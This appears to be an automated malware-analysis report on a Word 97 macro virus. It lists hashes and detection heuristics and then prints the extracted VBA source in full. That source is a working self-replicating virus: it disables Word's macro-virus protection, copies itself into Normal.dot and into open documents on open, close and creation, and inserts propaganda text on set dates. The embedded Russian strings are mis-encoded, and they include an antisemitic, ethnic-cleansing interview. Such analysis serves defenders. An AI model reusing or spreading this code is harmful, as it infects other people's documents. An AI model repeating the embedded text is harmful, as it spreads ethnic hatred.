Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8ac173527ec2eb98…

MALICIOUS

Office (OLE)

58.5 KB Created: 2000-04-07 10:22:00 Authoring application: Microsoft Word 8.0 First seen: 2015-04-05
MD5: ff78830ad6642317f939d888d04a8990 SHA-1: 94cd4024d16ed30e36345c5499123465d5fe199a SHA-256: 8ac173527ec2eb98b0d6d4b8017c581655dc396073d4cbfa04cbcf8297b16718
148 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1553.005 Mark-of-the-Web Bypass

The file contains VBA macros that are designed to disable macro virus protection and replicate themselves to other documents. This behavior is indicative of a macro-based malware designed for propagation. The ClamAV detection name 'Doc.Trojan.Zeitung-3' further supports its malicious nature.

Heuristics 4

  • ClamAV: Doc.Trojan.Zeitung-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Zeitung-3
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
     Options.VirusProtection = False
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 71296 bytes
SHA-256: e06045ee502e67c119dfbd30906230a30e3ce8ab3efb560cd42b154574624ac7
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const E_Marker = "VirusZeitung" 'ńčăíŕňóđŕ âčđóńŕ
'čó îäë:ŔęäéÔíđâęé ëęŕä ôĺî  čŕëŘňëâ@Âđńńçŕč đŕč čŕĺńč,ŔĺńíđĹđěâčĚőč ŕŕî
'1
'íîěĺđ 1 çŕ 2000 ăîä
Dim ad, nt As Object
Dim sd, snt As Boolean
 
Private Function NormalKontam()
 If Not nt.codemodule.Find(E_Marker, 1, 1, 10000, 10000) Then
  NormalKontam = 0
 Else
  If nt.codemodule.countoflines < 3 Then
   NormalKontam = 0
  Else
   ant$ = Trim(nt.codemodule.lines(3, nt.codemodule.countoflines))
   ant$ = Mid(ant$, 2, Len(ant$) - 1)
   If Val(Trim(ant$)) < 65535 Then
    NormalKontam = Val(Trim(ant$))
   Else
    NormalKontam = -1
   End If
  End If
 End If
End Function

Private Function ADokumKontam()
 If Not ad.codemodule.Find(E_Marker, 1, 1, 10000, 10000) Then
  ADokumKontam = 0
 Else
  If ad.codemodule.countoflines < 3 Then
   ADokumKontam = 0
  Else
   ant$ = Trim(ad.codemodule.lines(3, ad.codemodule.countoflines))
   ant$ = Mid(ant$, 2, Len(ant$) - 1)
   If Val(Trim(ant$)) < 65535 Then
    ADokumKontam = Val(Trim(ant$))
   Else
    ADokumKontam = -1
   End If
  End If
 End If
End Function

Private Sub VirusArbeit()
 On Error Resume Next
 Options.VirusProtection = False
 Set nt = NormalTemplate.VBProject.VBComponents.Item(1)
 Set ad = ActiveDocument.VBProject.VBComponents.Item(1)
 If (ADokumKontam < NormalKontam) And ((ActiveDocument.SaveFormat = wdFormatDocument) Or (ActiveDocument.SaveFormat = wdFormatTemplate)) Then
  sd = ActiveDocument.Saved
  If ad.codemodule.countoflines > 0 Then
   Open "C:\" + ActiveDocument.ActiveWindow.Caption + ".TXT" For Append As #1
   Print #1, "Ěŕęđîńű, áűâřčĺ â äîęóěĺíňĺ äî âíĺäđĺíč˙ âčđóńŕ"
   For v = 1 To ad.codumodule.countoflines
    Print #1, ad.codemodule.lines(v, 1)
   Next v
   Close #1
   ad.codemodule.deletelines 1, ad.codemodule.countoflines
  End If
  For v = 1 To nt.codemodule.countoflines
   ad.codemodule.insertlines v, nt.codemodule.lines(v, 1)
  Next v
  If (sd = True) And (Mid(ActiveDocument.ActiveWindow.Caption, 1, 8) <> "Äîęóěĺíň") Then ActiveDocument.Save
 End If
 
 If ADokumKontam > NormalKontam Then
  snt = NormalTemplate.Saved
  If nt.codemodule.countoflines > 0 Then
   Open "C:\NORMAL.TXT" For Append As #1
   Print #1, "Ěŕęđîńű, áűâřčĺ â řŕáëîíĺ Normal.dot"
   For v = 1 To nt.codemodule.countoflines
    Print #1, nt.codemodule.lines(v, 1)
   Next v
   Close #1
   nt.codemodule.deletelines 1, nt.codemodule.countoflines
  End If
  For v = 1 To ad.codemodule.countoflines
   nt.codemodule.insertlines v, ad.codemodule.lines(v, 1)
  Next v
  If snt = True Then NormalTemplate.Save
 End If
 Set nt = Nothing
 Set ad = Nothing
End Sub

Private Sub HauptArbeit(p)
 Tag$ = ""
 Monat$ = ""
 datum$ = Trim(Date)
 i = 1
 While (Mid(datum$, i, 1) <> ".") And (i < Len(datum$))
  Tag$ = Tag$ + Mid(datum$, i, 1)
  i = i + 1
 Wend
 i = i + 1
 While (Mid(datum$, i, 1) <> ".") And (i < Len(datum$))
  Monat$ = Monat$ + Mid(datum$, i, 1)
  i = i + 1
 Wend
 
 If (Val(Monat$) = 2) And (Val(Tag$) = 2) Then
  p = 2
 End If
 If (Val(Monat$) = 3) And (Val(Tag$) = 21) Then
  p = 2
 End If
 If (Val(Monat$) = 4) And (Val(Tag$) = 30) Then
  p = 2
 End If
 If (Val(Monat$) = 6) And (Val(Tag$) = 21) Then
  p = 2
 End If
 If (Val(Monat$) = 8) And (Val(Tag$) = 2) Then
  p = 2
 End If
 If (Val(Monat$) = 9) And (Val(Tag$) = 21) Then
  p = 2
 End If
 If (Val(Monat$) = 10) And (Val(Tag$) = 31) Then
  p = 2
 End If
 If (Val(Monat$) = 12) And (Val(Tag$) = 21) Then
  p = 2
 End If
  
 If Rnd >= p Then
  Exit Sub
 End If
 Z_Kopf
 
 Druck_0 Artikel_1$(1, 0), 18, True, wdAlignParagraphCenter, 0
 Selection.TypeParagraph
 ab_ = 0
 While Artikel_1$(2, ab_) <> ""
  Druck_0 Artikel_1$(2, ab_), 14, False, wdAlignParagraphJustify, 1.5
  ab_ = ab_ + 1
 Wend
 Selection.TypeParagraph
 Druck_0 Artikel_1$(3, 0), 14, True, wdAlignParagraphRight, 0
 Selection.TypeParagraph
 
 Druck_0 Artikel_2$(1, 0), 18, True, wdAlignParagraphCenter, 0
 Selection.TypeParagraph
 ab_ = 0
 While Artikel_2$(2, ab_) <> ""
  Druck_0 Artikel_2$(2, ab_), 14, False, wdAlignParagraphJustify, 1.5
  ab_ = ab_ + 1
 Wend
 Selection.TypeParagraph
 Druck_0 Artikel_2$(3, 0), 14, True, wdAlignParagraphRight, 0
 Selection.TypeParagraph
 
 Druck_0 Artikel_3$(1, 0), 18, True, wdAlignParagraphCenter, 0
 Selection.TypeParagraph
 ab_ = 0
 While Artikel_3$(2, ab_) <> ""
  Druck_0 Artikel_3$(2, ab_), 14, ab_ / 2 <> Int(ab_ / 2), wdAlignParagraphJustify, 1.5
  ab_ = ab_ + 1
 Wend
 Selection.TypeParagraph
 Druck_0 Artikel_3$(3, 0), 14, True, wdAlignParagraphRight, 0
 Selection.TypeParagraph
 
 Z_Sub
End Sub

Private Sub Document_Close()
 VirusArbeit
 HauptArbeit (0.1)
End Sub

Private Sub Document_New()
 VirusArbeit
 HauptArbeit (0.1)
End Sub

Private Sub Document_Open()
 VirusArbeit
 HauptArbeit (0.1)
End Sub

Private Sub Z_Kopf()
 Druck_0 "Ŕ Ä Ń Ę Č É   Î Ă Î Í Ü", 40, True, wdAlignParagraphCenter, 0
 Druck_0 "Âčđóńíŕ˙ ăŕçĺňŕ ńĺęňű čě. Äć. Äč č Ý. Ęĺëëč.", 18, False, wdAlignParagraphLeft, 0
 Druck_0 "Âűőîä ďî ěĺđĺ ęîěďëĺęňîâŕíč˙ íîěĺđŕ", 18, False, wdAlignParagraphLeft, 0
 Druck_0 "5  ˙íâŕđ˙  2000  ă.   ą 1 (1)", 18, False, wdAlignParagraphLeft, 0
 Selection.TypeParagraph
 Druck_0 "Ńĺăîäí˙ â íîěĺđĺ:", 18, True, wdAlignParagraphLeft, 0
 Druck_0 "* " + Artikel_1$(1, 0), 18, False, wdAlignParagraphLeft, 0
 Druck_0 "* " + Artikel_2$(1, 0), 18, False, wdAlignParagraphLeft, 0
 Druck_0 "* " + Artikel_3$(1, 0), 18, False, wdAlignParagraphLeft, 0
 Selection.TypeParagraph
 Druck_0 "******************************", 18, True, wdAlignParagraphCenter, 0
 Selection.TypeParagraph
 Selection.TypeParagraph
End Sub

Private Sub Z_Sub()
 Selection.TypeParagraph
 Selection.TypeParagraph
 Druck_0 "*************************************", 14, False, wdAlignParagraphCenter, 0
 Druck_0 "Ó÷đĺäčňĺëü - ńŕňŕíčíńęŕ˙ ńĺęňŕ čěĺíč Äćîíŕ Äč č Ýäâŕđäŕ Ęĺëëč", 14, False, wdAlignParagraphCenter, 0
 Druck_0 "Ăëŕâíűé đĺäŕęňîđ - Â. Ä. Ňŕđŕńęčí", 14, False, wdAlignParagraphCenter, 0
 Druck_0 "Äčđĺęňîđ - Ă. Ń. Ëčńóíîâ", 14, False, wdAlignParagraphCenter, 0
 Druck_0 "Ŕâňîđ čäĺč - Ŕ. Í. Ăĺíîâŕ", 14, False, wdAlignParagraphCenter, 0
 Druck_0 "Ęîíńóëüňŕíň ďî âîďđîńŕě âčđóńîëîăčč -  Ď. Â. Íîăčí", 14, False, wdAlignParagraphCenter, 0
 Druck_0 "Ăëŕâíűé ďđîăđŕěěčńň - Ŕ. Â. Đűćîâ", 14, False, wdAlignParagraphCenter, 0
 Druck_0 "Ęîěďüţňĺđíűé íŕáîđ č îôîđěëĺíčĺ - Ň. Â. Çóáîâŕ", 14, False, wdAlignParagraphCenter, 0
 Druck_0 "Ěíĺíčĺ đĺäŕęöčč ěîćĺň íĺ ńîâďŕäŕňü ń ďîçčöčĺé ŕâňîđîâ ďóáëčęŕöčé.", 14, False, wdAlignParagraphCenter, 0
 Druck_0 "Ďđč ďĺđĺďĺ÷ŕňęĺ č čńďîëüçîâŕíčč ěŕňĺđčŕëîâ ńńűëęŕ íŕ ăŕçĺňó íĺîá˙çŕňĺëüíŕ.", 14, False, wdAlignParagraphCenter, 0
 Druck_0 "Đĺäŕęöč˙ íĺ íĺńĺň îňâĺňńňâĺííîńňč çŕ ńîäĺđćŕíčĺ ďóáëčęóĺěűő ěŕňĺđčŕëîâ.", 14, False, wdAlignParagraphCenter, 0
End Sub

Private Sub Druck_0(T As String, Siz, Bld, Alg, Ind)
 Selection.Font.Size = Siz
 Selection.Font.Bold = Bld
 Selection.ParagraphFormat.Alignment = Alg
 Selection.ParagraphFormat.FirstLineIndent = CentimetersToPoints(Ind)
 Selection.TypeParagraph
 Selection.TypeText Text:=T
End Sub

Private Function Artikel_1$(T, Ab)
 If T = 1 Then
  Artikel_1$ = "ĐÎĆÄĹÍČĹ  ÍÎÂÎĂÎ  ČÇÄŔÍČß"
 End If
 If T = 2 Then
  Select Case Ab
   Case 0
    Artikel_1$ = "Óâŕćŕĺěűĺ ÷čňŕňĺëč! Âű ďđčńóňńňâóĺňĺ ďđč óíčęŕëüíîě ńîáűňčč: đîćäŕĺňń˙ íĺ ďđîńňî íîâîĺ čçäŕíčĺ, ęŕę ńëĺäóĺň čç çŕăîëîâęŕ, ŕ ďđčíöčďčŕëüíî íîâűé ňčď ďĺđčîäč÷ĺńęîăî čçäŕíč˙ - âčđóńíŕ˙ ăŕçĺňŕ.  íűíĺříĺĺ âđĺě˙ číôîđěŕöčîííűĺ ňĺőíîëîăčč ďđî÷íî âîřëč â íŕř áűň; ďî÷ňč ęŕćäűé ÷ĺëîâĺę çíŕĺň, ÷ňî ňŕęîĺ ęîěďüţňĺđ, čëč äŕćĺ čěĺĺň ĺăî ó ńĺá˙ äîěŕ; ěű íĺ ěűńëčě ńâîĺé ćčçíč áĺç Internet'ŕ. Âńĺ çíŕţň (őîň˙ áű ďîíŕńëűřęĺ) î ęîěďüţňĺđíűő âčđóńŕő, č ńîçäŕâŕĺěűő čěč ďđîáëĺěŕő. Äî ńčő ďîđ áűňîâŕëî ěíĺíčĺ, ÷ňî ęîěďüţňĺđíűé âčđóń ěîćĺň ďđčíîńčňü ňîëüęî âđĺä, îäíŕęî ěű ďîńňŕâčëč ńâîĺé öĺëüţ îďđîâĺđăíóňü äŕííîĺ çŕ˙âëĺíčĺ, íŕéä˙ âčđóńó ďîëĺçíîĺ ďđčěĺíĺíčĺ."
   Case 1
    Artikel_1$ = "Ęŕę čçâĺńňíî, âî âńĺ âđĺěĺíŕ ńđĺäńňâŕ ěŕńńîâîé číôîđěŕöčč (çäĺńü č äŕëĺĺ - ŃĚČ) čăđŕëč âŕćíóţ đîëü â ćčçíč îáůĺńňâŕ. Îńîáűě ńďđîńîě ďîëüçóţňń˙ ŃĚČ, íĺ ęîíňđîëčđóĺěűĺ đŕçíîăî đîäŕ âëŕńňíűěč ńňđóęňóđŕěč, ŕ ňŕęćĺ íĺ ďđĺäú˙âë˙ţůčĺ ďîâűřĺííűő ňđĺáîâŕíčé ę ńâîčě ÷čňŕňĺë˙ě. Ę ďđčěĺđó: ěíîăčĺ őîň˙ň ďîěĺůŕňü ńâîč îáú˙âëĺíč˙ ŕíîíčěíî č ďî âîçěîćíîńňč áĺńďëŕňíî, ďóáëčęîâŕňü ďîä âűěűřëĺííűě čěĺíĺě čëč ŕíîíčěíî ěŕňĺđčŕëű ëţáîăî îáúĺěŕ č ńîäĺđćŕíč˙ č ň.ď. Îôčöčŕëüíűĺ čçäŕíč˙ äĺëŕţň ňŕęîĺ íĺâîçěîćíűě čëč ęđŕéíĺ çŕňđóäí˙ţň, ÷ĺě âűçűâŕţň çŕęîííóţ íĺďđč˙çíü ó áîëüřčíńňâŕ ăđŕćäŕí. Íŕřŕ ăŕçĺňŕ  íĺ čěĺĺň äŕííűő íĺäîńňŕňęîâ, ňŕę ęŕę ˙âë˙ĺňń˙ íĺëĺăŕëüíîé, č ęŕę ńëĺäńňâčĺ - ďîäďîëüíîé. Ďîäďîëüíűĺ ăŕçĺňű ńóůĺńňâîâŕëč č đŕíĺĺ, îäíŕęî čő čçäŕíčĺ č đŕńďđîńňđŕíĺíčĺ áűëî ńâ˙çŕíî ń áîëüřčě đčńęîě ęŕę äë˙ ÷čňŕňĺëĺé, ňŕę č äë˙ čçäŕňĺëĺé. " & _
    "Ňî ćĺ ńŕěîĺ ěîćíî ńęŕçŕňü č î đŕńďđîńňđŕíĺíčč ëčńňîâîę. Ýňč íĺäîńňŕňęč ěîăóň áűňü óńňđŕíĺíű ďđč ďîěîůč ďĺđĺâîäŕ ăŕçĺňű íŕ íîâóţ îńíîâó, čńęëţ÷ŕţůóţ čëč ńâîä˙ůóţ ę ěčíčěóěó ęîíňŕęň ÷čňŕňĺëĺé ń čçäŕňĺëüńňâîě.  ęŕ÷ĺńňâĺ ňŕęîé îńíîâű áűëî đĺřĺíî čńďîëüçîâŕňü ęîěďüţňĺđíűé âčđóń, ňŕę ęŕę îí ńďîńîáĺí đŕńďđîńňđŕí˙ňüń˙ áĺç âěĺřŕňĺëüńňâŕ ÷ĺëîâĺęŕ âĺçäĺ, ăäĺ ĺńňü âîńďđččě÷čâűĺ ę íĺěó ęîěďüţňĺđű."
   Case 2
    Artikel_1$ = "Ęŕę čçâĺńňíî, ęîěďüţňĺđíűĺ âčđóńű ęëŕńńčôčöčđóţňń˙ ďî íĺńęîëüęčě ďđčçíŕęŕě, â ÷ŕńňíîńňč, ďî ńňĺďĺíč ďđč÷čí˙ĺěîăî čěč âđĺäŕ. Âčđóńű, íŕçűâŕĺěűĺ ""áĺçâđĺäíűěč"", ňîëüęî đŕçěíîćŕţňń˙ č çŕíčěŕţň ďŕě˙ňü; ňŕę íŕçűâŕĺěűĺ ""íĺîďŕńíűĺ"" âčđóńű â äîďîëíĺíčĺ ę  ďĺđĺ÷čńëĺííîěó ďđîčçâîä˙ň đŕçëč÷íűĺ çâóęîâűĺ, ăđŕôč÷ĺńęčĺ č ďđî÷čĺ ýôôĺęňű. Îńňŕëüíűĺ đŕçíîâčäíîńňč âčđóńîâ ěű íĺ áóäĺě đŕńńěŕňđčâŕňü, ňŕę ęŕę îíč íĺ ďîňđĺáóţňń˙ äë˙ äŕëüíĺéřĺăî îáú˙ńíĺíč˙. Äî ńčő ďîđ âčđóńű, îňíîńčěűĺ ę ""íĺîďŕńíűě"", âűâîäčëč ňîëüęî ńîîáůĺíč˙, íĺ čěĺţůčĺ â áîëüřčíńňâĺ ńëó÷ŕĺâ, íčęŕęîé ďđŕęňč÷ĺńęîé öĺííîńňč; îäíŕęî, íĺ ňđĺáóĺň äîęŕçŕňĺëüńňâ, ÷ňî ňŕęîé âčđóń â ďđčíöčďĺ ěîćĺň âűâĺńňč íŕ ýęđŕí ňĺęńň ăŕçĺňű čëč ëčńňîâęč. Ńňîčň ňîëüęî îńíŕńňčňü âčđóń ňŕęîé ""íŕ÷číęîé"", č îí ńňŕíîâčňń˙ ńîîňâĺňńňâĺííî ăŕçĺňîé čëč ëčńňîâęîé, ęîňîđŕ˙ đŕńďđîńňđŕí˙ĺň ńĺá˙ ńŕěŕ. Ďđč ýňîě âîçíčęŕĺň ńëĺäóţůŕ˙ ďđîáëĺěŕ: ăŕçĺňŕ âűőîäčň ďĺđčîäč÷ĺńęč, č ĺĺ íîâűĺ íîěĺđŕ äîëćíű âűňĺńí˙ňü čç ńđĺäű îáčňŕíč˙ ńňŕđűĺ. Ďîäîáíîĺ íĺ ˙âë˙ĺňń˙ íĺâîçěîćíűě äë˙ " & _
    "ęîěďüţňĺđíűő âčđóńîâ: íĺęîňîđűĺ čç íčő ńíŕáćĺíű ěĺőŕíčçěîě îáíîâëĺíč˙ âĺđńčč, ÷ňî ďđč ńîîňâĺňńňâóţůĺé äîđŕáîňęĺ ěîćĺň áűňü ďđčěĺíĺíî äë˙ çŕěĺíű ńňŕđîăî íîěĺđŕ ăŕçĺňű íîâűě. Äë˙ đĺŕëčçŕöčč ňŕęîé ăŕçĺňű íĺîáőîäčěî âűáđŕňü ńđĺäó îáčňŕíč˙ âčđóńŕ. Íŕčáîëĺĺ öĺëĺńîîáđŕçíűě ďđĺäńňŕâë˙ĺňń˙ đŕńďđîńňđŕíĺíčĺ ďîäďîëüíîé ăŕçĺňű ďđč ďîěîůč ěŕęđîâčđóńŕ, ňŕę ęŕę â íŕńňî˙ůĺĺ âđĺě˙ ÷ŕůĺ âńĺăî ń ęîěďüţňĺđŕ íŕ ęîěďüţňĺđ ďĺđĺíîń˙ň äîęóěĺíňű č ýëĺęňđîííűĺ ňŕáëčöű, ęîňîđűĺ ˙âë˙ţňń˙ ńđĺäîé îáčňŕíč˙ ňŕęčő âčđóńîâ."
   Case 3
    Artikel_1$ = "Íŕřŕ ńĺęňŕ áűëŕ ńîçäŕíŕ â 1991 ăîäó, îäíŕęî äî ńčő ďîđ íĺ čěĺëŕ ńâîĺăî ďĺ÷ŕňíîăî îđăŕíŕ, ÷ňî ˙âë˙ĺňń˙ ńĺđüĺçíűě íĺäîńňŕňęîě. Číîăäŕ ěű ďî đŕçíűě ďîâîäŕě ďčńŕëč â đŕçëč÷íűĺ ăŕçĺňű, íî íŕřč ěŕňĺđčŕëű óďîđíî íĺ ďóáëčęîâŕëčńü, çŕ čńęëţ÷ĺíčĺě îäíîăî đŕçŕ. Ňĺďĺđü ěű đĺřčëč äŕííóţ ďđîáëĺěó ďóňĺě ńîçäŕíč˙ ńîáńňâĺííîé âčđóńíîé ăŕçĺňű. Íĺ ńëĺäóĺň äóěŕňü, îäíŕęî, ÷ňî çäĺńü áóäóň ďĺ÷ŕňŕňüń˙ ňîëüęî ěŕňĺđčŕëű íŕřčő ńĺęňŕíňîâ; íŕîáîđîň, ěű ńňŕđŕĺěń˙ áűňü îňęđűňűěč äë˙ âńĺő, âíĺ çŕâčńčěîńňč îň âĺđîčńďîâĺäŕíč˙, íŕöčîíŕëüíîńňč č ďîëčňč÷ĺńęčő óáĺćäĺíčé. Ăŕçĺňŕ âűőîäčň ďî ěĺđĺ ęîěďëĺęňîâŕíč˙ íîěĺđŕ.  áëčćŕéřĺě áóäóůĺě áóäĺň îďóáëčęîâŕí ńďîńîá ńâ˙çč ń íŕřĺé đĺäŕęöčĺé, ęîňîđűě ńěîćĺň âîńďîëüçîâŕňüń˙ ęŕćäűé, ęňî çíŕęîě ń ˙çűęîě ďđîăđŕěěčđîâŕíč˙ Visual Basic. Äë˙ ňĺő, ęňî íĺ çíŕęîě ń ďđîăđŕěěčđîâŕíčĺě, â ăîđîäĺ čěĺĺňń˙ ńĺňü ęîđđĺńďîíäĺíňîâ."
   Case 4
    Artikel_1$ = "Áîëĺĺ ďîäđîáíî î âčđóńĺ đŕńńęŕćĺň íčćĺ íŕř ăëŕâíűé ďđîăđŕěěčńň Ŕëĺęńŕíäđ Đűćîâ."
   Case Else
    Artikel_1$ = ""
  End Select
 End If
 If T = 3 Then
  Artikel_1$ = "Ăëŕâíűé đĺäŕęňîđ    Â. Ä. Ňŕđŕńęčí"
 End If
End Function

Private Function Artikel_2$(T, Ab)
 If T = 1 Then
  Artikel_2$ = "ĂŔÇĹŇÍŰÉ ÂČĐÓŃ: ×ŇÎ ÝŇÎ ŇŔĘÎĹ ?"
 End If
 If T = 2 Then
  Select Case Ab
   Case 0
    Artikel_2$ = "Ńđŕçó ńďĺřó óńďîęîčňü íŕřčő ÷čňŕňĺëĺé: âčđóń, đŕńďđîńňđŕí˙ţůčé ăŕçĺňó ""Ŕäńęčé îăîíü"", íĺ čěĺĺň íčęŕęčő âńňđîĺííűő äĺńňđóęňčâíűő ôóíęöčé č íĺ ńîäĺđćčň îřčáîę, çŕňđóäí˙ţůčő đŕçěíîćĺíčĺ čëč óăđîćŕţůčő đŕçđóřĺíčĺě äŕííűő."
   Case 1
    Artikel_2$ = "Âčđóń, ęîňîđűé ěű óńëîâíî íŕçűâŕĺě ""Inferno"", ďđĺäńňŕâë˙ĺň ńîáîé ěŕęđîâčđóń, ďîđŕćŕţůčé äîęóěĺíňű â ôîđěŕňĺ Microsoft Word. Îí ńîńňîčň čç đ˙äŕ ďđîöĺäóđ, ęîňîđűĺ îáĺńďĺ÷čâŕţň ĺăî đŕçěíîćĺíčĺ, ńěĺíó ńňŕđîăî íîěĺđŕ íîâűě, ńîáńňâĺííî ďĺ÷ŕňü ěŕňĺđčŕëîâ, ŕ ňŕęćĺ ŕâňîěŕęđîńű, çŕďóńęŕĺěűĺ ďđč îňęđűňčč, çŕęđűňčč č ńîçäŕíčč íîâîăî ôŕéëŕ. Ďĺđâŕ˙ ńňđîęŕ ńîäĺđćčň ńčăíŕňóđó âčđóńŕ, âňîđŕ˙ - ŕâňîđńęčé çíŕę, ŕ ňđĺňü˙ - ńňđîęîâóţ çŕďčńü íîěĺđŕ ăŕçĺňű. Âî âňîđîé ńňđîęĺ çŕęîäčđîâŕíű čěĺíŕ č ôŕěčëčč ŕâňîđîâ âčđóńŕ, ęîňîđűĺ ďđîäŕëč íŕě ňĺęńň ďđîăđŕěěű č ďîćĺëŕëč îńňŕňüń˙ íĺčçâĺńňíűěč."
   Case 2
    Artikel_2$ = "Ďđč îňęđűňčč çŕđŕćĺííîăî ôŕéëŕ îňęëţ÷ŕĺňń˙ ďđîâĺđęŕ äîęóěĺíňîâ íŕ ďđĺäěĺň íŕëč÷č˙ ěŕęđîńîâ, ďđîčńőîäčň çŕđŕćĺíčĺ řŕáëîíŕ NORMAL.DOT (ĺńëč îí íĺ çŕđŕćĺí, čëč çŕđŕćĺí áîëĺĺ đŕííčě íîěĺđîě ăŕçĺňű). Ĺńëč řŕáëîí óćĺ ńîäĺđćčň ęŕęčĺ-ëčáî ěŕęđîńű, ňî îíč ďĺđĺíîń˙ňń˙ â ňĺęńňîâűé ôŕéë NORMAL.TXT. Ĺńëč ôŕéë ń ňŕęčě čěĺíĺě óćĺ ńóůĺńňâóĺň, ňî ďĺđĺíîńčěűĺ ěŕęđîńű äîáŕâë˙ţňń˙ ę íĺěó."
   Case 3
    Artikel_2$ = "Çŕňĺě ęŕćäűé íîâűé ôŕéë, îńíîâŕííűé íŕ ýňîě řŕáëîíĺ áóäĺň çŕđŕćŕňüń˙ ďđč ńîçäŕíčč č ďđč çŕęđűňčč. Ĺńëč îí óćĺ ńîäĺđćčň ęŕęčĺ-íčáóäü ěŕęđîńű, ňî îíč ňŕęćĺ ďĺđĺíîń˙ňń˙ â ňĺęńňîâűé ôŕéë (*.TXT), čě˙ ęîňîđîăî ńîâďŕäŕĺň ń čěĺíĺě ôŕéëŕ äîęóěĺíňŕ."
   Case 4
    Artikel_2$ = " çŕâčńčěîńňč îň ńëó÷ŕéíîăî ń÷ĺň÷čęŕ (â îďđĺäĺëĺííűĺ äíč îá˙çŕňĺëüíî) â đĺäŕęňčđóĺěűé äîęóěĺíň âńňŕâë˙ĺňń˙ ňĺęńň ăŕçĺňű."
   Case Else
    Artikel_2$ = ""
  End Select
 End If
 If T = 3 Then
  Artikel_2$ = "Ăëŕâíűé ďđîăđŕěěčńň ńĺęňű   Ŕ. Â. Đűćîâ"
 End If
End Function

Private Function Artikel_3$(T, Ab)
 If T = 1 Then
  Artikel_3$ = "ĂÄĹ  ĆĹ  ÂŰ,  ĐÓŃŃĘČĹ  ?"
 End If
 If T = 2 Then
  Select Case Ab
   Case 0
    Artikel_3$ = "Ďĺđâűé ěŕňĺđčŕë, îďóáëčęîâŕííűé â íŕřĺé ăŕçĺňĺ, ďîńâ˙ůĺí íŕöčîíŕëüíîěó âîďđîńó. Íŕř ęîđđĺńďîíäĺíň Ě. Â. ×óđčëîâ áĺńĺäóĺň ń ăëŕâîé ŕńňđŕőŕíńęîăî ôčëčŕëŕ ""Đóńńęîăî íŕöčîíŕëüíîăî ĺäčíńňâŕ""."
   Case 1
    Artikel_3$ = "- Íŕçîâčňĺ, ďîćŕëóéńňŕ ńĺá˙."
   Case 2
    Artikel_3$ = "- Ââčäó îďŕńíîńňč ěîĺé đŕáîňű ˙ íĺ ěîăó íŕçâŕňü ńâîĺ íŕńňî˙ůĺĺ čě˙; ó ěĺí˙ ĺńňü ďńĺâäîíčě, ęîňîđűé ˙ âŕě ńîîáůó: Ńŕďóăčí Ĺâăĺíčé Ŕíŕňîëüĺâč÷. Ňŕę ěĺí˙ č çîâčňĺ."
   Case 3
    Artikel_3$ = "- Čě˙ č îň÷ĺńňâî íŕńňî˙ůčĺ ?"
   Case 4
    Artikel_3$ = "- Îá ýňîě äîăŕäűâŕéňĺńü ńŕěč."
   Case 5
    Artikel_3$ = "- ×ňî âű ďîäđŕçóěĺâŕĺňĺ ďîä ""đŕáîňîé"", ęîňîđŕ˙ ńîďđ˙ćĺíŕ ń ňŕęîé îďŕńíîńňüţ ?"
   Case 6
    Artikel_3$ = "- Ăëŕâíŕ˙ öĺëü íŕřĺé îđăŕíčçŕöčč ńîńňîčň â ňîě, ÷ňîáű î÷čńňčňü Đîńńčţ îň đŕçíîăî đîäŕ ýňíč÷ĺńęîăî ěóńîđŕ, ęîňîđűé çŕăëóřŕĺň âńĺ čńęîííî đóńńęîĺ, č íĺ äŕĺň ńňđŕíĺ íîđěŕëüíî ćčňü. Ýňîň ěóńîđ íĺ őî÷ĺň áűňü âűěĺňĺííűě, č ďűňŕĺňń˙ đŕçäĺëŕňüń˙ ń íŕěč, â ńâ˙çč  ń ÷ĺě ďđĺäńňŕâë˙ĺň áîëüřóţ îďŕńíîńňü. Ĺńëč âű âíčěŕňĺëüíî ďđčăë˙íĺňĺńü ę ňĺďĺđĺříĺé ńčňóŕöčč, ňî íĺ ěîćĺňĺ íĺ çŕěĺňčňü, ÷ňî ďî÷ňč íŕ ęŕćäîě ęëţ÷ĺâîě ďîńňó, čěĺţůĺě őîňü ęŕęîĺ-ňî çíŕ÷ĺíčĺ, ńčäčň ęŕęîé-íčáóäü číîđîäĺö (÷ŕůĺ âńĺăî - ĺâđĺé) č âüĺň âĺđĺâęč čç íŕńňî˙ůčő đóńńęčő. Íĺ çŕáűâŕéňĺ, ÷ňî ěű - ăîńóäŕđńňâîîáđŕçóţůŕ˙ íŕöč˙, č äîëćíű çŕůčůŕňüń˙ îň ňŕęîé ďŕäŕëč âńĺěč äîńňóďíűěč č íĺäîńňóďíűěč ńđĺäńňâŕěč."
   Case 7
    Artikel_3$ = "- Ęŕęčĺ ńđĺäńňâŕ Âű čěĺĺňĺ â âčäó?"
   Case 8
